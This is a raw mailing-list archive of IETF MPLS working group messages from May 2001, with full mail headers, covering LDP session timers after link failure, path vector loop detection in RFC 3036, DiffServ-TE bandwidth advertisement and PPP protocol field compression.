Maybe I didn't express it clearly.If LSR1 and LSR2 are connected directly,
and there are many LSPs between them, suppose the link fails, does TCP 
connection be closed immediately?
If this happens, why we still need some hold timer to check whether timout 
happen or not between two LSRs?

Anyway, thank you very much.

----- Original Message ----- 
From: Haseeb Budhani <haseeb@ipinfusion.com>
To: Heqing Zhu <zhuheqing@huawei.com>
Cc: <mpls@UU.NET>
Sent: Wednesday, May 16, 2001 4:15 PM
Subject: Re: Link down, TCP connection down and session?


> Heqing Zhu wrote:
> 
> > Hi,All:
> >
> > For LDP, I have a question about session after link is down.
> > In fact, LDP defines some timer to check connection.
> > Suppose one link is down, What will happen about TCP connection?
> > If TCP connection is closed immediately, why we need the timer?
> > If anyone knows some discussion or classical article
> > Please give me some suggestion?
> >
> > Thanks in advance
> >
> > ********************
> > Zhu Heqing
> > Beijing, China
> > ********************
> 
> 'Sup Heqing,
> 
> I think you're referring to the reconnect timout for tcp connections.
> RFC 3036 says that once the tcp connection is broken for any reason, or
> if a tcp connection could not be created in the first place, a timer
> should should be started before we try to establish a new tcp connection
> to the same peer, and that the minimum value for this timout should be
> no less than 15 seconds. Upon unsuccessful tcp negotiation, the timeout
> should be be exponentially increased until it is no more than 2 minutes
> or 120 seconds, but you should keep trying to set up the tcp connection
> forever.
> 
> Hope I got it right. :)
> 
> --
> Haseeb Budhani.
> 


From owner-mpls@UU.NET  Wed May 16 07:38:36 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA03556
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 07:38:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgg24713;
	Wed, 16 May 2001 11:38:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgg23285
	for mpls-outgoing; Wed, 16 May 2001 11:37:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpgg23277
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 11:37:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpgg24465
	for <mpls@UU.NET>; Wed, 16 May 2001 11:36:29 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkpgg09177
	for <mpls@UU.NET>; Wed, 16 May 2001 11:36:28 GMT
Received: from AMARHOLD ([213.208.15.78]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Wed, 16 May 2001 13:46:33 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "Heqing Zhu" <zhuheqing@huawei.com>, <mpls@UU.NET>
Subject: RE: Link down, TCP connection down and session?
Date: Wed, 16 May 2001 13:37:08 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJCEGPCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <000f01c0ddee$97feff80$930a6e0a@huawei.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

LDP session uses TCP
it uses loopbacks if available ( SA and DA )
if you have more physical or L3 connections between 2 nodes
---> then your LDP session stays even when one link goes down

with best regards

Alexander Marhold
Senior Consultant
PRO IN


-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Heqing
Zhu
Sent: Wednesday, May 16, 2001 11:57 AM
To: mpls@UU.NET
Subject: Link down, TCP connection down and session?


Hi,All:

For LDP, I have a question about session after link is down.
In fact, LDP defines some timer to check connection.
Suppose one link is down, What will happen about TCP connection?
If TCP connection is closed immediately, why we need the timer?
If anyone knows some discussion or classical article
Please give me some suggestion?

Thanks in advance

********************
Zhu Heqing
Beijing, China
********************



From owner-mpls@UU.NET  Wed May 16 10:22:23 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10067
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:22:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgr11903;
	Wed, 16 May 2001 14:19:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgr07837
	for mpls-outgoing; Wed, 16 May 2001 14:18:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpgr07819
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:18:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpgr28823
	for <mpls@UU.NET>; Wed, 16 May 2001 14:16:23 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpgr14807
	for <mpls@UU.NET>; Wed, 16 May 2001 14:16:23 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id F2D1A9400A; Wed, 16 May 2001 10:16:22 -0400 (EDT)
Message-ID: <3B028BB6.D9E6C95@sandburst.com>
Date: Wed, 16 May 2001 10:16:22 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET
Subject: Re: path vectors !!
References: <3B023184.C4E35522@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,

    The procedures in the LDP appendix may be somewhat difficult to
plow through.  In order to understand what goes on with RAttributes,
we need to read through 'Common Label Distribution Procedures' in
Appendix section A.2 - in particular:

    Prepare_Label_Request_Attributes
    Prepare_Label_Mapping_Attributes

    I believe your question shows that you did read through, but possibly
did not see some of the implications of these defintions.

    Although it may not be clear at first, the definitions for RAttributes and
SAttributes in the above common procedures imply that the RAttributes
argument in the Prepare_Label_Mapping_Attributes procedure is intended
to be that which was previously retained (see FEC.1 [2 places], LRq.9
[2 places] and LMp.16) or recently received (see LMp.16, LMp.23 and
LMp.29 [2 places]) from a Label Mapping which is being propagated.
Alternatively (LRq.9), it is possible that the downstream LSR is the egress
or is operating in DoD, independent distribution mode - in which case, if
there is no downstream mapping, RAttributes would be InitAttributes with
a hop count of unknown (if DoD, independent, intermediate LSR) or one
(if LSR is egress) and a Path Vector including only the LSR ID of sending
(downstream) LSR (only if loop detection is enabled).

    In returning a Label Mapping in a direct response to a Label Request, the
RAttributes of the Label Request would never be used.  I believe the use of
RAttributes is clear enough in the case where a Label Mapping is being
propagated as a result of receiving a Label Mapping.  Hopefully this may
be clearer now...

--
Eric Gray

You wrote:

> Hi,
>
> In RFC 3036, section A.1.1 (receive label request processing), there is
> a parameter RAttributes which is basically the attributes received in
> the label request message. Now in subsection LRq.9, this same
> RAttributes is being used for creating label mapping attributes which
> will be sent back to the requesting LSR.
> Now, consider the following case :
>
> LSR A is configured to send path vectors in label request messages. It
> will include its own lsr id in the request sent to LSR B.  Now
> LSR B uses this same path vector and adds its lsr id in the lable
> mapping message sent back to LSR A. LSR A will find its own lsr id in
> the mapping received from LSR B and declare that a loop has been
> detected which is incorrect.
>
> I thnk LSR B, in this case, should be using the attributes which it
> might have received from its next hop ,if any, while preparing label
> mapping attributes to respond to request from LSR A. Please let me know
> if this is right.
>
> Thanks in advance
> manoj



From owner-mpls@UU.NET  Wed May 16 10:25:49 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10126
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:25:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgl08931;
	Wed, 16 May 2001 12:57:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgl21177
	for mpls-outgoing; Wed, 16 May 2001 12:56:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpgl21169
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 12:56:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpgl17741
	for <mpls@UU.NET>; Wed, 16 May 2001 12:53:41 GMT
Received: from zcars0m9.nortelnetworks.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkpgl05521
	for <mpls@UU.NET>; Wed, 16 May 2001 12:53:41 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id IAA29160; Wed, 16 May 2001 08:53:35 -0400
Received: from zcard00n.ca.nortel.com by zcars04f.ca.nortel.com;
          Wed, 16 May 2001 08:53:21 -0400
Received: from zmerd009.ca.nortel.com ([47.131.54.168]) 
          by zcard00n.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id LADM2DGA; Wed, 16 May 2001 08:53:23 -0400
Received: from americasm01.nt.com (wmers0ja.ca.nortel.com [47.131.20.150]) 
          by zmerd009.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id JLX8HGA2; Wed, 16 May 2001 08:53:23 -0400
Message-ID: <3B027840.48CAD796@americasm01.nt.com>
Date: Wed, 16 May 2001 08:53:20 -0400
From: "Darek Skalecki" <dareks@nortelnetworks.com>
Organization: Nortel Networks
X-Mailer: Mozilla 4.72C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Sudhakar Ganti <sganti@tropicnetworks.com>
CC: mpls <mpls@UU.NET>
Subject: Re: Question on BW advertisements for Diffserv aware TE based on Class 
         Type
References: <LPEGKNJLDDNILOPDFLBAAEBJCCAA.sganti@tropicnetworks.com>
Content-Type: multipart/alternative;
              boundary="------------FECE3189BEC125B7C0072194"
X-Orig: <dareks@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------FECE3189BEC125B7C0072194
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

Hi Sudhakar,

See inlined answers.

Thanks,

Darek


Sudhakar Ganti wrote:

> Hello,
>
> A couple of questions regarding the BW advertisements
> on these drafts:
>     draft-ietf-mpls-diff-te-ext-01.txt
>     draft-ietf-ospf-diff-te-00.txt
>
> a) The text in both the drafts refers to "the Class-Type N
>    bandwidth currently unreserved (i.e. the difference
>    between the Maximum Reservable Bandwidth for Class-Type N
>    and the bandwidth reserved by existing Class-Type N LSPs)"
>
> However I do not see any separate sub-TLV for Max reservable
> bandwidth for each class type (class type N). There is only one
> that advertises the Max Reservable Aggregate Bandwidth.

The Maximum Reservable Bandwidth for Class-Type N is reflected in the
Unreserved Bandwidth for Class-Type N. That is, there is no need to
advertize through IGP the Maximum Reservable Bandwidth for Class-Type N
as it is implicitely advertized  in the Unreserved Bandwidth for
Class-Type N. The intention is that the Maximum Reservable Bandwidth for
Class-Type N is configured on links that support Class-Type N. However,
when it is time to advertize bandwidth availability for that link, only
the Unreserved Bandwidth for Class-Type N is computed, as you stated by
quoting the draft, and then advertized through IGP. Route selection
through the network is then performed using only the Unreserved
Bandwidths for Class-Types.

The Maximum Reservable Aggregate Bandwidth (which can be thought of as
the Maximum Reservable Bandwidth for Class-Type 0) is advertized for
historical reasons, i.e. original IGP extensions for TE included it and
we didn't want to simply remove it as our extensions are built on the
original extensions.

>
>
> b) Different classes can be oversubscribed differently
>    depending upon the link (or network) configuration.
>    If so, I think it may be necessary to advertise the
>    Maximum Reservable bandwidth for each Class (Class-Type N).
>
>    Is there any reason why this is omitted??

See my answer to a). Since Maximum Reservable Bandwidth for Class-Type
N is implicitely "included" in the Unreserved Bandwidth for Class-Type
N and it is the Unreserved Bandwidth for Class-Type N that is advertized
through IGPs and used for route computation, there is no need to
separately advertize Maximum Reservable Bandwidth for Class-Type N. To
oversubscribe a link, the sum of Maximum Reservable Bandwidths for all
Class-Types supported by the link needs to be greater than the capacity
of the link. As I already mentioned, each Maximum Reservable Bandwidth
for Class-Type N is configured on the link and used in the computation
of the Unreserved Bandwidth for Class-Type N for advertizing purposes.

>
>
> -Sudhakar

--
Darek Skalecki
Nortel
(613) 765-2252



--------------FECE3189BEC125B7C0072194
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Sudhakar,
<p>See inlined answers.
<p>Thanks,
<p>Darek
<br>&nbsp;
<p>Sudhakar Ganti wrote:
<blockquote TYPE=CITE>Hello,
<p>A couple of questions regarding the BW advertisements
<br>on these drafts:
<br>&nbsp;&nbsp;&nbsp; draft-ietf-mpls-diff-te-ext-01.txt
<br>&nbsp;&nbsp;&nbsp; draft-ietf-ospf-diff-te-00.txt
<p>a) The text in both the drafts refers to "the Class-Type N
<br>&nbsp;&nbsp; bandwidth currently unreserved (i.e. the difference
<br>&nbsp;&nbsp; between the Maximum Reservable Bandwidth for Class-Type
N
<br>&nbsp;&nbsp; and the bandwidth reserved by existing Class-Type N LSPs)"
<p>However I do not see any separate sub-TLV for Max reservable
<br>bandwidth for each class type (class type N). There is only one
<br>that advertises the Max Reservable Aggregate Bandwidth.</blockquote>
The Maximum Reservable Bandwidth for Class-Type N&nbsp;is reflected in
the Unreserved Bandwidth for Class-Type N. That is, there is no need to
advertize through IGP&nbsp;the Maximum Reservable Bandwidth for Class-Type
N as it is implicitely advertized&nbsp; in the Unreserved Bandwidth for
Class-Type N. The intention is that the Maximum Reservable Bandwidth for
Class-Type N&nbsp;is configured on links that support Class-Type N. However,
when it is time to advertize bandwidth availability for that link, only
the Unreserved Bandwidth for Class-Type N&nbsp;is computed, as you stated
by quoting the draft, and then advertized through IGP. Route selection
through the network is then performed using only the Unreserved Bandwidths
for Class-Types.&nbsp;<br>
<br>
The Maximum Reservable Aggregate Bandwidth (which can be thought of as
the Maximum Reservable Bandwidth for Class-Type 0)&nbsp;is advertized for
historical reasons, i.e. original IGP&nbsp;extensions for TE included it
and we didn't want to simply remove it as our extensions are built on the
original extensions.
<blockquote TYPE=CITE>&nbsp;
<p>b) Different classes can be oversubscribed differently
<br>&nbsp;&nbsp; depending upon the link (or network) configuration.
<br>&nbsp;&nbsp; If so, I think it may be necessary to advertise the
<br>&nbsp;&nbsp; Maximum Reservable bandwidth for each Class (Class-Type
N).
<p>&nbsp;&nbsp; Is there any reason why this is omitted??</blockquote>
See my answer to a). Since Maximum Reservable Bandwidth for Class-Type
N&nbsp;is implicitely "included"&nbsp;in the Unreserved Bandwidth for Class-Type
N&nbsp;and it is the Unreserved Bandwidth for Class-Type N&nbsp;that is
advertized through IGPs and used for route computation, there is no need
to separately advertize Maximum Reservable Bandwidth for Class-Type N.
To oversubscribe a link, the sum of Maximum Reservable Bandwidths for all
Class-Types supported by the link needs to be greater than the capacity
of the link. As I already mentioned, each Maximum Reservable Bandwidth
for Class-Type N&nbsp;is configured on the link and used in the computation
of the Unreserved Bandwidth for Class-Type N&nbsp;for advertizing purposes.
<blockquote TYPE=CITE>&nbsp;
<p>-Sudhakar</blockquote>

<pre>--&nbsp;
Darek Skalecki
Nortel&nbsp;
(613) 765-2252</pre>
&nbsp;</html>

--------------FECE3189BEC125B7C0072194--



From owner-mpls@UU.NET  Wed May 16 10:28:06 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10175
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:28:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgr26420;
	Wed, 16 May 2001 14:25:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgr08717
	for mpls-outgoing; Wed, 16 May 2001 14:24:47 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpgr08683
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:24:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpgr19181
	for <mpls@UU.NET>; Wed, 16 May 2001 14:23:31 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpgr16518
	for <mpls@UU.NET>; Wed, 16 May 2001 14:23:31 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 0FD1C9400A; Wed, 16 May 2001 10:23:31 -0400 (EDT)
Message-ID: <3B028D63.85F878B8@sandburst.com>
Date: Wed, 16 May 2001 10:23:31 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: xiaoning.nie@infineon.com
Cc: elwinietf@yahoo.com, mpls@UU.NET
Subject: Re: AW: PPP protocol type for MPLS packets ...
References: <F7686250912CD41194F100508B5E193AEDBA2D@mchb0fha.muc.infineon.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA10175

Xiaoning,

    The compression scheme relies on the fact that only odd
numbers are allocated.  The last byte of the protocol number
is known to have been received when a byte of the protocol
number field has been received with the LSB set.  Therefore,
most implementations might easily be able to recognize a PPP
protocol that is an arbitrary number of bytes long.  However,
PPP specification _requires_ that an implementation is able to
recognize a 16 bit protocol field, even when PFC is in use.

--
Eric Gray

xiaoning.nie@infineon.com wrote:

> Hi Elwin,
>
> even if protocol compression (the PFC option) is negotiated by LCP, you still can choose to
> send your PPP frame using 16 bit protocol field. The PPP implementation
> must be able to detect this.
>
> regards,
>
> Xiaoning
>
> -----Ursprüngliche Nachricht-----
> Von: Elwin Eliazer [mailto:elwinietf@yahoo.com]
> Gesendet am: Dienstag, 15. Mai 2001 19:17
> An: Eric Gray; Eric Rosen; George Swallow; Scott Bradner
> Cc: mpls@UU.NET; naveenietf@yahoo.com
> Betreff: Re: PPP protocol type for MPLS packets ...
>
> Hi Eric,
>
> Thanks for your response.
>
> But my question was not about the MPLSCP (control)
> packets.... it is rather the payload MPLS packets.
>
> Could you clarify if you are also referring the
> same.
>
> Thanks,
> Elwin.
>
> --- Eric Gray <eric.gray@sandburst.com> wrote:
> > Elwin,
> >
> >     Quoting from Standard 51 (PPP), section 6.5
> > towards the bottom of
> > page 48:
> >
> > "The Protocol field is never compressed when sending
> > any LCP packet.
> >  This rule guarantees unambiguous recognition of LCP
> > packets."
> >
> >
> ====================================================================
> > Eric/George/Scott,
> >
> > On a related issue, I notice that - while RFC 3032
> > lists the MPLSCP
> > protocol number as 0x8281 - PPP-numbers, located at:
> >
> >
> >
> ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers
> >
> > Shows this number assigned as follows -
> >
> > "8281   Tag Switching - Unicast
> > [Davie]"
> >
> > I can't recall any discussion about re-assigning
> > this protocol number
> > and I wonder - is possible at this point to make
> > this happen (between
> > B. Davie, Cisco and IANA)?
> >
> > --
> > Eric Gray
> >
> > You wrote:
> >
> > > Hi,
> > >
> > > Will it be a good practice to disable protocol
> > > field compression (during LCP) as the PPP protocol
> > > field value for MPLS unicast and multicast are
> > > 0x0281 and 0x0283, as defined in RFC 3032,
> > > section 4.3, that has the most significant
> > > byte as non-zero?
> > >
> > > regards,
> > > Elwin.
> > >
> > > =====
> > > -------
> > > Elwin Stelzer Eliazer
> > > Corona Networks
> > > San Jose, CA
> > > 408-519-3832
> > > -------
> > >
> > > __________________________________________________
> > > Do You Yahoo!?
> > > Yahoo! Auctions - buy the things you want at great
> > prices
> > > http://auctions.yahoo.com/
> >
>
> =====
> -------
> Elwin Stelzer Eliazer
> Corona Networks
> San Jose, CA
> 408-519-3832
> -------
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - buy the things you want at great prices
> http://auctions.yahoo.com/



From owner-mpls@UU.NET  Wed May 16 10:29:32 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10212
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:29:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgr27302;
	Wed, 16 May 2001 14:26:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgr09011
	for mpls-outgoing; Wed, 16 May 2001 14:26:13 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpgr08821
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:25:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpgr05723
	for <mpls@uu.net>; Wed, 16 May 2001 14:24:23 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkpgr24559
	for <mpls@uu.net>; Wed, 16 May 2001 14:24:23 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4GEOM913921
	for <mpls@uu.net>; Wed, 16 May 2001 07:24:22 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA16680 for mpls@uu.net; Wed, 16 May 2001 10:24:21 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpgp15334
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 13:47:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpgp18755
	for <mpls@UU.NET>; Wed, 16 May 2001 13:46:55 GMT
Received: from ennovatenetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.102.148.71])
	id QQkpgp20876
	for <mpls@UU.NET>; Wed, 16 May 2001 13:46:55 GMT
Received: from ennovatenetworks.com (cappa.tst.ennovatenetworks.com [10.1.5.75])
	by ennovatenetworks.com (8.8.7/8.8.7) with ESMTP id JAA20429
	for <mpls@UU.NET>; Wed, 16 May 2001 09:46:54 -0400 (EDT)
	(envelope-from pchen@ennovatenetworks.com)
Message-ID: <3B0284C7.746B9ECC@ennovatenetworks.com>
Date: Wed, 16 May 2001 09:46:47 -0400
From: Philip Chen <pchen@ennovatenetworks.com>
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Link down, TCP connection down and session?
References: <000f01c0ddee$97feff80$930a6e0a@huawei.com> <3B023716.5ED9E81F@ipinfusion.com> <001e01c0ddfb$13d48b00$930a6e0a@huawei.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Heqing,
  The problem is that TCP session is not closed immediately based on link
failure status. There is a reason why TCP session should not be teared down
simply because of a link failure. This is because TCP is designed with
robustness to transient network problems in mind (for example, a congestion
condition or temporary link failure). You certainly do not want to escalate
problems, for example such as an unstable link (flaping), everytime to above a
reliable transport layer (TCP). This way, applications using TCP can still get
some useful things done without need to worry about for example, a noise link
caused link flaping. TCP will handle reliable delivery of your data.
    Because of this, a broken TCP connection may not be detected for long
time, especially when application has no data to send. RFC1122 defines an
option for TCP implementation to detect such problem. This option is called
TCP keep-alive timer. Because of the concern that this timer may hurt TCP
robustness property, RFC1122 requires the value for this timer to be no less
than 2 hours by default. Most of the TCP implementation today include this
option, but the timer value is not tunable at per session basis. In other
words, this is a system wide parameter. However, you can turn on and off the
timer on per session basis (via socket setoption). Because of those
restrictions, this TCP keep-alive option is hardly used. Its primary use is
for some servers to cleanup junk connections for clients failed to close TCP
connection under certain circumstance, for example, your Windows system
crashed. Moreover, the TCP keep-alive feature cannot detect problems beyond
TCP layer, for example, your application hangs. For all of those reasons,
people favor to have a keep alive feature built into application, in this
case, LDP.

Hope this helps!

--Phil


Heqing Zhu wrote:

> Maybe I didn't express it clearly.If LSR1 and LSR2 are connected directly,
> and there are many LSPs between them, suppose the link fails, does TCP
> connection be closed immediately?
> If this happens, why we still need some hold timer to check whether timout
> happen or not between two LSRs?
>
> Anyway, thank you very much.



From owner-mpls@UU.NET  Wed May 16 10:30:05 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10199
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:28:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgr28976;
	Wed, 16 May 2001 14:27:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgr09068
	for mpls-outgoing; Wed, 16 May 2001 14:26:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpgr08794
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:25:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpgr14372
	for <mpls@UU.NET>; Wed, 16 May 2001 14:24:20 GMT
Received: from zcars0m9.nortelnetworks.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQkpgr25127
	for <mpls@UU.NET>; Wed, 16 May 2001 14:24:19 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id KAA01102; Wed, 16 May 2001 10:24:13 -0400
Received: from zcard00n.ca.nortel.com by zcars04f.ca.nortel.com;
          Wed, 16 May 2001 10:23:59 -0400
Received: from zmerd009.ca.nortel.com ([47.131.54.168]) 
          by zcard00n.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id LADM2R67; Wed, 16 May 2001 10:24:01 -0400
Received: from americasm01.nt.com (wmers0ja.ca.nortel.com [47.131.20.150]) 
          by zmerd009.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id JLX8HGKA; Wed, 16 May 2001 10:24:01 -0400
Message-ID: <3B028D7D.A1305915@americasm01.nt.com>
Date: Wed, 16 May 2001 10:23:58 -0400
From: "Darek Skalecki" <dareks@nortelnetworks.com>
Organization: Nortel Networks
X-Mailer: Mozilla 4.72C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Sudhakar Ganti <sganti@tropicnetworks.com>
CC: mpls <mpls@UU.NET>
Subject: Re: Question on BW advertisements for Diffserv aware TE based on Class 
         Type
References: <LPEGKNJLDDNILOPDFLBAKEBOCCAA.sganti@tropicnetworks.com>
